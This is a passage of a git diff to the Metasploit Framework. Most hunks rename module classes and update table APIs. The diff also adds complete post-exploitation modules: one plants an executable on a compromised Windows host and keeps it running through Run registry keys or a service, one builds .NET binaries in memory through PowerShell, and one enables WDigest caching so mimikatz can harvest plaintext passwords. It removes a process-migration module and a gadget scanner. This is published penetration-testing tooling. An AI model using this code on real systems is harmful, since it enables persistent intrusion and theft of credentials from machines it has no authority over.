Manage Persistent EXE Payload Installer', + 'Description' => %q( + This Module will upload a executable to a remote host and make it Persistent. + It can be installed as USER, SYSTEM, or SERVICE. USER will start on user login, + SYSTEM will start on system boot but requires privs. SERVICE will create a new service + which will start the payload. Again requires privs. + ), + 'License' => MSF_LICENSE, + 'Author' => [ 'Merlyn drforbin Cousins ' ], + 'Version' => '$Revision:1$', + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter'])) + + register_options( + [ + OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM', 'SERVICE']]), + OptPath.new('REXEPATH', [true, 'The remote executable to use.']), + OptString.new('REXENAME', [true, 'The name to call exe on remote system', 'default.exe']) + ], self.class + ) + end + + # Run Method for when run command is issued + #------------------------------------------------------------------------------- + def run + print_status("Running module against #{sysinfo['Computer']}") + + # Set vars + rexe = datastore['REXEPATH'] + rexename = datastore['REXENAME'] + host, _port = session.tunnel_peer.split(':') + @clean_up_rc = "" + + raw = create_payload_from_file rexe + + # Write script to %TEMP% on target + script_on_target = write_exe_to_target(raw, rexename) + + # Initial execution of script + target_exec(script_on_target) + + case datastore['STARTUP'] + when /USER/i + write_to_reg("HKCU", script_on_target) + when /SYSTEM/i + write_to_reg("HKLM", script_on_target) + when /SERVICE/i + install_as_service(script_on_target) + end + + clean_rc = log_file + file_local_write(clean_rc, @clean_up_rc) + print_status("Cleanup Meterpreter RC File: #{clean_rc}") + + report_note(host: host, + type: "host.persistance.cleanup", + data: { + local_id: session.sid, + stype: session.type, + desc: session.info, + platform: session.platform, + via_payload: session.via_payload, + via_exploit: session.via_exploit, + created_at: Time.now.utc, + commands: @clean_up_rc + }) + end + + # Function for creating log folder and returning log path + #------------------------------------------------------------------------------- + def log_file(log_path = nil) + # Get hostname + host = session.sys.config.sysinfo["Computer"] + + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + + # Create a directory for the logs + logs = if log_path + ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) + else + ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) + end + + # Create the log directory + ::FileUtils.mkdir_p(logs) + + # logfile name + logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" + logfile + end + + # Function to execute script on target and return the PID of the process + #------------------------------------------------------------------------------- + def target_exec(script_on_target) + print_status("Executing script #{script_on_target}") + proc = session.sys.process.execute(script_on_target, nil, 'Hidden' => true) + print_good("Agent executed with PID #{proc.pid}") + @clean_up_rc << "kill #{proc.pid}\n" + proc.pid + end + + # Function to install payload in to the registry HKLM or HKCU + #------------------------------------------------------------------------------- + def write_to_reg(key, script_on_target) + nam = Rex::Text.rand_text_alpha(rand(8) + 8) + print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") + if key + registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", nam, script_on_target, "REG_SZ") + print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") + else + print_error("Error: failed to open the registry key for writing") + end + end + + # Function to install payload as a service + #------------------------------------------------------------------------------- + def install_as_service(script_on_target) + if is_system? || is_admin? + print_status("Installing as service..") + nam = Rex::Text.rand_text_alpha(rand(8) + 8) + print_status("Creating service #{nam}") + service_create(nam, nam, "cmd /c \"#{script_on_target}\"") + @clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n" + else + print_error("Insufficient privileges to create service") + end + end + + # Function for writing executable to target host + #------------------------------------------------------------------------------- + def write_exe_to_target(rexe, rexename) + tempdir = session.fs.file.expand_path("%TEMP%") + temprexe = tempdir + "\\" + rexename + fd = session.fs.file.new(temprexe, "wb") + fd.write(rexe) + fd.close + + print_good("Persistent Script written to #{temprexe}") + @clean_up_rc << "rm #{temprexe}\n" + temprexe + end + + # Function to create executable from a file + #------------------------------------------------------------------------------- + def create_payload_from_file(exec) + print_status("Reading Payload from file #{exec}") + ::IO.read(exec) + end +end diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index 2fc0584665..4cc6ccd02f 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv def initialize(info={}) @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Post end def enable_portproxy - rtable = Rex::Ui::Text::Table.new( + rtable = Rex::Text::Table.new( 'Header' => 'Port Forwarding Table', 'Indent' => 3, 'Columns' => ['LOCAL IP', 'LOCAL PORT', 'REMOTE IP', 'REMOTE PORT'] diff --git a/modules/post/windows/manage/powershell/build_net_code.rb b/modules/post/windows/manage/powershell/build_net_code.rb new file mode 100644 index 0000000000..0132414105 --- /dev/null +++ b/modules/post/windows/manage/powershell/build_net_code.rb @@ -0,0 +1,124 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/powershell' +require 'msf/core/exploit/powershell/dot_net' + +class MetasploitModule < Msf::Post + Rank = ExcellentRanking + + include Msf::Post::Windows::Powershell + include Msf::Exploit::Powershell::DotNet + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "Powershell .NET Compiler", + 'Description' => %q( + This module will build a .NET source file using powershell. The compiler builds + the executable or library in memory and produces a binary. After compilation the + PowerShell session can also sign the executable if provided a path the + a .pfx formatted certificate. Compiler options and a list of assemblies + required can be configured in the datastore. + ), + 'License' => MSF_LICENSE, + 'Author' => 'RageLtMan ', + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Universal', {} ] ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 14 2012' + ) + ) + + register_options( + [ + OptPath.new('SOURCE_FILE', [true, 'Path to source code']), + OptBool.new('RUN_BINARY', [false, 'Execute the generated binary', false]), + OptString.new('ASSEMBLIES', [false, 'Any assemblies outside the defaults', "mscorlib.dll, System.dll, System.Xml.dll, System.Data.dll" ]), + OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated binary, default random, omit extension' ]), + OptString.new('COMPILER_OPTS', [false, 'Options to pass to compiler', '/optimize']), + OptString.new('CODE_PROVIDER', [true, 'Code provider to use', 'Microsoft.CSharp.CSharpCodeProvider']) + ], self.class + ) + register_advanced_options( + [ + OptString.new('NET_CLR_VER', [false, 'Minimum NET CLR version required to compile', '4.0']) + ], self.class + ) + end + + def run + # Make sure we meet the requirements before running the script + unless session.type == "meterpreter" || have_powershell? + print_error "Incompatible Environment" + return 0 + end + + # Havent figured this one out yet, but we need a PID owned by a user, can't steal tokens either + if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM' + print_error "Cannot run as system" + return 0 + end + + # End of file marker + eof = Rex::Text.rand_text_alpha(8) + env_suffix = Rex::Text.rand_text_alpha(8) + net_com_opts = {} + net_com_opts[:target] = + datastore['OUTPUT_TARGET'] || + "#{session.fs.file.expand_path('%TEMP%')}\\#{Rex::Text.rand_text_alpha(rand(8) + 8)}.exe" + net_com_opts[:com_opts] = datastore['COMPILER_OPTS'] + net_com_opts[:provider] = datastore['CODE_PROVIDER'] + net_com_opts[:assemblies] = datastore['ASSEMBLIES'] + net_com_opts[:net_clr] = datastore['NET_CLR_VER'] + net_com_opts[:cert] = datastore['CERT_PATH'] + + begin + net_com_opts[:harness] = ::File.read(datastore['SOURCE_FILE']) + script = dot_net_compiler(net_com_opts) + if datastore['Powershell::Post::dry_run'] + print_good "Compiler code:\n#{script}" + return + end + rescue => e + print_error e + return + end + + vprint_good "Writing to #{net_com_opts[:target]}" + + # Execute the powershell script + print_status 'Building remote code.' + cmd_out, running_pids, open_channels = execute_script(script, true) + get_ps_output(cmd_out, eof) + vprint_good "Cleaning up #{running_pids.join(', ')}" + + clean_up(nil, eof, running_pids, open_channels, env_suffix, false) + + # Check for result + begin + size = session.fs.file.stat(net_com_opts[:target].gsub('\\', '\\\\')).size + print_good "File #{net_com_opts[:target].gsub('\\', '\\\\')} found, #{size}kb" + rescue + print_error "File #{net_com_opts[:target].gsub('\\', '\\\\')} not found," \ + " NET CLR version #{datastore['NET_CLR_VER']} possibly not available" + return + end + + # Run the result + if datastore['RUN_BINARY'] + cmd_out = session.sys.process.execute(net_com_opts[:target].gsub('\\', '\\\\'), + nil, 'Hidden' => true, 'Channelized' => true) + while (out = cmd_out.channel.read) + print_good out + end + end + + print_good 'Finished!' + end +end diff --git a/modules/post/windows/manage/powershell/exec_powershell.rb b/modules/post/windows/manage/powershell/exec_powershell.rb index 8707cb705e..ae8b15ef74 100644 --- a/modules/post/windows/manage/powershell/exec_powershell.rb +++ b/modules/post/windows/manage/powershell/exec_powershell.rb @@ -17,7 +17,7 @@ require 'zlib' # TODO: check if this can be done with REX require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Powershell def initialize(info={}) diff --git a/modules/post/windows/manage/powershell/load_script.rb b/modules/post/windows/manage/powershell/load_script.rb index e3d270f9e9..edad0d8571 100644 --- a/modules/post/windows/manage/powershell/load_script.rb +++ b/modules/post/windows/manage/powershell/load_script.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Powershell def initialize(info={}) diff --git a/modules/post/windows/manage/pptp_tunnel.rb b/modules/post/windows/manage/pptp_tunnel.rb index 4f71034b08..2dfc967798 100644 --- a/modules/post/windows/manage/pptp_tunnel.rb +++ b/modules/post/windows/manage/pptp_tunnel.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Priv diff --git a/modules/post/windows/manage/priv_migrate.rb b/modules/post/windows/manage/priv_migrate.rb index 45d2de743d..8030f78575 100644 --- a/modules/post/windows/manage/priv_migrate.rb +++ b/modules/post/windows/manage/priv_migrate.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv diff --git a/modules/post/windows/manage/pxeexploit.rb b/modules/post/windows/manage/pxeexploit.rb index 8692ed4a64..2ef7e54b0f 100644 --- a/modules/post/windows/manage/pxeexploit.rb +++ b/modules/post/windows/manage/pxeexploit.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report diff --git a/modules/post/windows/manage/reflective_dll_inject.rb b/modules/post/windows/manage/reflective_dll_inject.rb index f52eac1e24..93f47f6f5e 100644 --- a/modules/post/windows/manage/reflective_dll_inject.rb +++ b/modules/post/windows/manage/reflective_dll_inject.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::ReflectiveDLLInjection diff --git a/modules/post/windows/manage/remove_ca.rb b/modules/post/windows/manage/remove_ca.rb index 2a2437d0d2..4df9dd274e 100644 --- a/modules/post/windows/manage/remove_ca.rb +++ b/modules/post/windows/manage/remove_ca.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super( update_info( info, diff --git a/modules/post/windows/manage/remove_host.rb b/modules/post/windows/manage/remove_host.rb index 9f78208ea3..733af81ad7 100644 --- a/modules/post/windows/manage/remove_host.rb +++ b/modules/post/windows/manage/remove_host.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super( update_info( info, diff --git a/modules/post/windows/manage/rpcapd_start.rb b/modules/post/windows/manage/rpcapd_start.rb index b49600378b..55b430af9a 100644 --- a/modules/post/windows/manage/rpcapd_start.rb +++ b/modules/post/windows/manage/rpcapd_start.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry @@ -52,8 +52,8 @@ class Metasploit3 < Msf::Post print_status("Setting rpcapd as 'auto' service") service_change_startup("rpcapd", START_TYPE_AUTO) end - if datastore['ACTIVE']==true - if datastore['RHOST']==nil + if datastore['ACTIVE'] + if datastore['RHOST'].nil? print_error("RHOST is not set ") return else @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Post print_status("Installing rpcap in PASSIVE mode (local port: #{datastore['PORT']}) ") p = prog << " -d -p #{datastore['PORT']} " end - if datastore['NULLAUTH']==true + if datastore['NULLAUTH'] p<< "-n" end run_rpcapd(p) diff --git a/modules/post/windows/manage/run_as.rb b/modules/post/windows/manage/run_as.rb index 36137acf65..c471b7042b 100644 --- a/modules/post/windows/manage/run_as.rb +++ b/modules/post/windows/manage/run_as.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Runas diff --git a/modules/post/windows/manage/sdel.rb b/modules/post/windows/manage/sdel.rb index a2691cc1d4..4ee17a767b 100644 --- a/modules/post/windows/manage/sdel.rb +++ b/modules/post/windows/manage/sdel.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv include Msf::Post::File @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Post n = datastore['ITERATIONS'] file = datastore['FILE'] - if datastore['ZERO']==true + if datastore['ZERO'] type = 0 print_status("The file will be overwritten with null bytes") end diff --git a/modules/post/windows/manage/smart_migrate.rb b/modules/post/windows/manage/smart_migrate.rb deleted file mode 100644 index 9abc02bc75..0000000000 --- a/modules/post/windows/manage/smart_migrate.rb +++ /dev/null @@ -1,76 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' -require 'rex' - -class Metasploit3 < Msf::Post - - include Msf::Module::Deprecated - - deprecated(Date.new(2016, 2, 13), 'post/windows/manage/priv_migrate') - - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Manage Smart Process Migration', - 'Description' => %q{ This module will migrate a Meterpreter session. - It will first attempt to migrate to explorer.exe for the current user. Failing that, - it will attempt any other explorer.exe processes. Finally it will fall back to winlogon.exe}, - 'License' => MSF_LICENSE, - 'Author' => [ 'thelightcosine'], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ] - )) - - - end - - def run - server = client.sys.process.open - original_pid = server.pid - print_status("Current server process: #{server.name} (#{server.pid})") - if server.name.casecmp("winlogon.exe") == 0 or server.name.casecmp("explorer.exe") == 0 - print_good("Current process is already in #{server.name} process, exiting.") - return - end - - - uid = client.sys.config.getuid - - processes = client.sys.process.get_processes - - uid_explorer_procs = [] - explorer_procs = [] - winlogon_procs = [] - processes.each do |proc| - uid_explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] == uid - explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] != uid - winlogon_procs << proc if proc['name'] == "winlogon.exe" - end - - print_status "Attempting to move into explorer.exe for current user..." - uid_explorer_procs.each { |proc| return if attempt_migration(proc['pid']) } - print_status "Attempting to move into explorer.exe for other users..." - explorer_procs.each { |proc| return if attempt_migration(proc['pid']) } - print_status "Attempting to move into winlogon.exe" - winlogon_procs.each { |proc| return if attempt_migration(proc['pid']) } - - print_error "Was unable to sucessfully migrate into any of our likely candidates" - end - - - def attempt_migration(target_pid) - begin - print_good("Migrating to #{target_pid}") - client.core.migrate(target_pid) - print_good("Successfully migrated to process #{target_pid}") - return true - rescue ::Exception => e - print_error("Could not migrate in to process.") - print_error(e.to_s) - return false - end - end -end diff --git a/modules/post/windows/manage/sticky_keys.rb b/modules/post/windows/manage/sticky_keys.rb index ce5bdbc771..4f756a4bab 100644 --- a/modules/post/windows/manage/sticky_keys.rb +++ b/modules/post/windows/manage/sticky_keys.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry @@ -38,7 +38,7 @@ class Metasploit4 < Msf::Post }, 'Author' => ['OJ Reeves'], 'Platform' => ['win'], - 'SessionTypes' => ['meterpreter', 'cmd'], + 'SessionTypes' => ['meterpreter', 'shell'], 'Actions' => [ ['ADD', {'Description' => 'Add the backdoor to the target.'}], ['REMOVE', {'Description' => 'Remove the backdoor from the target.'}] diff --git a/modules/post/windows/manage/vss_create.rb b/modules/post/windows/manage/vss_create.rb index a377af66a8..a4ce9d424c 100644 --- a/modules/post/windows/manage/vss_create.rb +++ b/modules/post/windows/manage/vss_create.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv include Msf::Post::Windows::ShadowCopy diff --git a/modules/post/windows/manage/vss_list.rb b/modules/post/windows/manage/vss_list.rb index 35737fb343..c7103c378e 100644 --- a/modules/post/windows/manage/vss_list.rb +++ b/modules/post/windows/manage/vss_list.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv include Msf::Post::Windows::ShadowCopy @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Post shadow_copies = vss_list unless shadow_copies.empty? shadow_copies.each do |copy| - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => 'Shadow Copy Data', 'Indent' => 1, 'Columns' => ['Field', 'Value'] diff --git a/modules/post/windows/manage/vss_mount.rb b/modules/post/windows/manage/vss_mount.rb index d71fe54b43..36b43bfe00 100644 --- a/modules/post/windows/manage/vss_mount.rb +++ b/modules/post/windows/manage/vss_mount.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv include Msf::Post::Windows::ShadowCopy diff --git a/modules/post/windows/manage/vss_set_storage.rb b/modules/post/windows/manage/vss_set_storage.rb index c61fd6e128..2a969572d8 100644 --- a/modules/post/windows/manage/vss_set_storage.rb +++ b/modules/post/windows/manage/vss_set_storage.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv include Msf::Post::Windows::ShadowCopy diff --git a/modules/post/windows/manage/vss_storage.rb b/modules/post/windows/manage/vss_storage.rb index 599902d94c..355e79b895 100644 --- a/modules/post/windows/manage/vss_storage.rb +++ b/modules/post/windows/manage/vss_storage.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv include Msf::Post::Windows::ShadowCopy @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Post storage_data = vss_get_storage if storage_data - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => 'Shadow Copy Storage Data', 'Indent' => 1, 'Columns' => ['Field', 'Value'] diff --git a/modules/post/windows/manage/wdigest_caching.rb b/modules/post/windows/manage/wdigest_caching.rb new file mode 100644 index 0000000000..f792e2e9b0 --- /dev/null +++ b/modules/post/windows/manage/wdigest_caching.rb @@ -0,0 +1,98 @@ +require 'msf/core' +require 'rex' +require 'msf/core/auxiliary/report' + +class MetasploitModule < Msf::Post + include Msf::Post::Windows::Registry + + WDIGEST_REG_LOCATION = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest' + USE_LOGON_CREDENTIAL = 'UseLogonCredential' + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows Post Manage WDigest Credential Caching', + 'Description' => %q{ + On Windows 8/2012 or higher, the Digest Security Provider (WDIGEST) is disabled by default. This module enables/disables + credential caching by adding/changing the value of the UseLogonCredential DWORD under the WDIGEST provider's Registry key. + Any subsequest logins will allow mimikatz to recover the plain text passwords from the system's memory. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Kostas Lintovois '], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + + register_options( + [ + OptBool.new('ENABLE',[false,'Enable the WDigest Credential Cache.',true]) + ], self.class) + end + + # Run Method for when run command is issued + def run + print_status("Running module against #{sysinfo['Computer']}") + # Check if OS is 8/2012 or newer. If not, no need to set the registry key + # Can be backported to Windows 7, 2k8R2 but defaults to enabled... + if sysinfo['OS'] =~ /Windows (XP|Vista|200[03])/i + print_status('Older Windows version detected. No need to enable the WDigest Security Provider. Exiting...') + else + datastore['ENABLE'] ? wdigest_enable : wdigest_disable + end + end + + def get_key + # Check if the key exists. Not present by default + print_status("Checking if the #{WDIGEST_REG_LOCATION}\\#{USE_LOGON_CREDENTIAL} DWORD exists...") + begin + wdvalue = registry_getvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL) + key_exists = !wdvalue.nil? + + print_status("#{USE_LOGON_CREDENTIAL} is set to #{wdvalue}") if key_exists + return wdvalue + rescue Rex::Post::Meterpreter::RequestError => e + fail_with(Failure::Unknown, "Unable to access registry key: #{e}") + end + end + + def wdigest_enable + wdvalue = get_key + key_exists = !wdvalue.nil? + # If it is not present, create it + if key_exists && wdvalue == 1 + print_good('Registry value is already set. WDigest Security Provider is enabled') + else + begin + verb = key_exists ? 'Setting' : 'Creating' + print_status("#{verb} #{USE_LOGON_CREDENTIAL} DWORD value as 1...") + if registry_setvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL, 1, 'REG_DWORD') + print_good('WDigest Security Provider enabled') + else + print_error('Unable to access registry key - insufficient privileges?') + end + rescue Rex::Post::Meterpreter::RequestError => e + fail_with(Failure::Unknown, "Unable to access registry key: #{e}") + end + end + end + + def wdigest_disable + wdvalue = get_key + key_exists = !wdvalue.nil? + # If it is not present, create it + if key_exists && wdvalue == 0 + print_good('Registry value is already set. WDigest Security Provider is disabled') + else + begin + verb = key_exists ? 'Setting' : 'Creating' + print_status("#{verb} #{USE_LOGON_CREDENTIAL} DWORD value as 0...") + if registry_setvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL, 0, 'REG_DWORD') + print_good('WDigest Security Provider disabled') + else + print_error('Unable to access registry key - insufficient privileges?') + end + rescue Rex::Post::Meterpreter::RequestError => e + fail_with(Failure::Unknown, "Unable to access registry key: #{e}") + end + end + end +end diff --git a/modules/post/windows/manage/webcam.rb b/modules/post/windows/manage/webcam.rb index eb156773d4..e427675c12 100644 --- a/modules/post/windows/manage/webcam.rb +++ b/modules/post/windows/manage/webcam.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report @@ -114,7 +114,7 @@ class Metasploit3 < Msf::Post end if show - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => 'Webcam List', 'Indent' => 1, 'Columns' => ['Index', 'Name'] diff --git a/modules/post/windows/recon/computer_browser_discovery.rb b/modules/post/windows/recon/computer_browser_discovery.rb index cc2ad55784..8cbde676c8 100644 --- a/modules/post/windows/recon/computer_browser_discovery.rb +++ b/modules/post/windows/recon/computer_browser_discovery.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report @@ -130,7 +130,7 @@ class Metasploit3 < Msf::Post netview = netview.sort_by {|e| e[:type]} - results = Rex::Ui::Text::Table.new( + results = Rex::Text::Table.new( 'Header' => 'Netdiscovery Results', 'Indent' => 2, 'Columns' => ['TYPE', 'IP', 'COMPUTER NAME', 'VERSION', 'COMMENT'] diff --git a/modules/post/windows/recon/outbound_ports.rb b/modules/post/windows/recon/outbound_ports.rb index 31196ce2c6..6c7c9f5460 100644 --- a/modules/post/windows/recon/outbound_ports.rb +++ b/modules/post/windows/recon/outbound_ports.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv def initialize(info={}) diff --git a/modules/post/windows/recon/resolve_ip.rb b/modules/post/windows/recon/resolve_ip.rb index 4e3028f341..2734a2655d 100644 --- a/modules/post/windows/recon/resolve_ip.rb +++ b/modules/post/windows/recon/resolve_ip.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super( update_info( info, diff --git a/modules/post/windows/wlan/wlan_bss_list.rb b/modules/post/windows/wlan/wlan_bss_list.rb index 00baa5c710..e1b324d38a 100644 --- a/modules/post/windows/wlan/wlan_bss_list.rb +++ b/modules/post/windows/wlan/wlan_bss_list.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report def initialize(info={}) diff --git a/modules/post/windows/wlan/wlan_current_connection.rb b/modules/post/windows/wlan/wlan_current_connection.rb index a34db4f8c2..e4c9f60808 100644 --- a/modules/post/windows/wlan/wlan_current_connection.rb +++ b/modules/post/windows/wlan/wlan_current_connection.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report def initialize(info={}) diff --git a/modules/post/windows/wlan/wlan_disconnect.rb b/modules/post/windows/wlan/wlan_disconnect.rb index 20ef90546a..284203dc98 100644 --- a/modules/post/windows/wlan/wlan_disconnect.rb +++ b/modules/post/windows/wlan/wlan_disconnect.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report def initialize(info={}) diff --git a/modules/post/windows/wlan/wlan_profile.rb b/modules/post/windows/wlan/wlan_profile.rb index b16b0965e7..ab7d8e4252 100644 --- a/modules/post/windows/wlan/wlan_profile.rb +++ b/modules/post/windows/wlan/wlan_profile.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report def initialize(info={}) diff --git a/msfbinscan b/msfbinscan deleted file mode 100755 index 213861e254..0000000000 --- a/msfbinscan +++ /dev/null @@ -1,300 +0,0 @@ -#!/usr/bin/env ruby -# -*- coding: binary -*- -# -# $Id$ -# $Revision$ -# - -msfbase = __FILE__ -while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) -end - -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'msfenv' - - - -$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] - -require 'metasm' -require 'rex/elfparsey' -require 'rex/elfscan' -require 'rex/machparsey' -require 'rex/machscan' -require 'rex/peparsey' -require 'rex/pescan' -require 'rex/arch/x86' -require 'optparse' - -def opt2i(o) - o.index("0x")==0 ? o.hex : o.to_i -end - -opt = OptionParser.new - -opt.banner = "Usage: #{$PROGRAM_NAME} [mode] [targets]" -opt.separator('') -opt.separator('Modes:') - -worker = nil -param = {} -files = [] -mode = "" - -opt.on('-j', '--jump [regA,regB,regC]', 'Search for jump equivalent instructions [PE|ELF|MACHO]') do |t| - # take csv of register names (like eax,ebx) and convert - # them to an array of register numbers - mode = "jump" - regnums = t.split(',').collect { |o| - begin - Rex::Arch::X86.reg_number(o) - rescue - puts "Invalid register \"#{o}\"" - exit(1) - end - } - param['args'] = regnums -end - -opt.on('-p', '--poppopret', 'Search for pop+pop+ret combinations [PE|ELF|MACHO]') do |t| - mode = "pop" - param['args'] = t -end - -opt.on('-r', '--regex [regex]', 'Search for regex match [PE|ELF|MACHO]') do |t| - mode = "regex" - param['args'] = t -end - -opt.on('-a', '--analyze-address [address]', 'Display the code at the specified address [PE|ELF]') do |t| - mode = "analyze-address" - param['args'] = opt2i(t) -end - -opt.on('-b', '--analyze-offset [offset]', 'Display the code at the specified offset [PE|ELF]') do |t| - mode = "analyze-offset" - param['args'] = opt2i(t) -end - -opt.on('-f', '--fingerprint', 'Attempt to identify the packer/compiler [PE]') do |t| - mode = "fingerprint" - param['database'] = File.join(File.dirname(msfbase), 'data', 'msfpescan', 'identify.txt') -end - -opt.on('-i', '--info', 'Display detailed information about the image [PE]') do |t| - mode = "info" -end - -opt.on('-R', '--ripper [directory]', 'Rip all module resources to disk [PE]') do |t| - mode = "ripper" - param['dir'] = t -end - -opt.on('--context-map [directory]', 'Generate context-map files [PE]') do |t| - mode = "context" - param['dir'] = t -end - -opt.separator('') -opt.separator('Options:') - -opt.on('-A', '--after [bytes]', 'Number of bytes to show after match (-a/-b) [PE|ELF|MACHO]') do |t| - param['after'] = opt2i(t) -end - -opt.on('-B', '--before [bytes]', 'Number of bytes to show before match (-a/-b) [PE|ELF|MACHO]') do |t| - param['before'] = opt2i(t) -end - -opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase [PE|ELF|MACHO]') do |t| - param['imagebase'] 